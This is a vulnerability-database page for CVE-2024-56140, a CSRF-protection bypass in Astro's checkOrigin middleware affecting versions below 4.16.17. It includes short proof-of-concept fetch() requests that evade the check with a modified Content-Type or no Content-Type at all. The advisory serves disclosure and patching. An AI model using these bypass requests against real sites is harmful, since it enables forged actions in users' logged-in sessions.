Atro CSRF Middleware Bypass (security.checkOrigin)
Summary
A bug in Astro’s CSRF-protection middleware allows requests to bypass CSRF checks.
Details
When the security.checkOrigin configuration option is set to true, Astro middleware will perform a CSRF check. (Source code: https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts)
For example, with the following Astro configuration:
// astro.config.mjs
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';
export default defineConfig({
output: 'server',
security: { checkOrigin: true },
adapter: node({ mode: 'standalone' }),
});
A request like the following would be blocked if made from a different origin:
// fetch API or <form action="https://test.example.com/" method="POST">
fetch('https://test.example.com/', {
method: 'POST',
credentials: 'include',
body: 'a=b',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
});
// => Cross-site POST form submissions are forbidden
However, a vulnerability exists that can bypass this security.
Pattern 1: Requests with a semicolon after the Content-Type
A semicolon-delimited parameter is allowed after the type in Content-Type.
Web browsers will treat a Content-Type such as application/x-www-form-urlencoded; abc as a simple request and will not perform preflight validation. In this case, CSRF is not blocked as expected.
fetch('https://test.example.com', {
method: 'POST',
credentials: 'include',
body: 'test',
headers: { 'Content-Type': 'application/x-www-form-urlencoded; abc' },
});
// => Server-side functions are executed (Response Code 200).
Pattern 2: Request without Content-Type header
The Content-Type header is not required for a request. The following examples are sent without a Content-Type header, resulting in CSRF.
// Pattern 2.1 Request without body
fetch('http://test.example.com', { method: 'POST', credentials: 'include' });
// Pattern 2.2 Blob object without type
fetch('https://test.example.com', {
method: 'POST',
credentials: 'include',
body: new Blob(['a=b'], {}),
});
Impact
Bypass CSRF protection implemented with CSRF middleware.
[!Note] Even with
credentials: 'include', browsers may not send cookies due to third-party cookie blocking. This feature depends on the browser version and settings, and is for privacy protection, not as a CSRF measure.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | astro | < 4.16.17 | 4.16.17 |
References
- https://github.com/withastro/astro/security/advisories/GHSA-c4pw-33h3-35xw
- https://nvd.nist.gov/vuln/detail/CVE-2024-56140
- https://github.com/withastro/astro/commit/e7d14c374b9d45e27089994a4eb72186d05514de
- https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests
- https://github.com/withastro/astro
- https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts
- CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N- Weakness (CWE)
CWE-352- Platform
- npm
- Package
astro- Disclosed
- 18.12.2024
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-c4pw-33h3-35xw - CC BY 4.0
Vulnerability history: astro
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 27
- First → latest
- 10.2024 09.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 6
- Medium 15
- Low 5
Disclosures per year
- 2024: 3
- 2025: 11
- 2026: 13
-
Atro CSRF Middleware Bypass (security.checkOrigin) this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.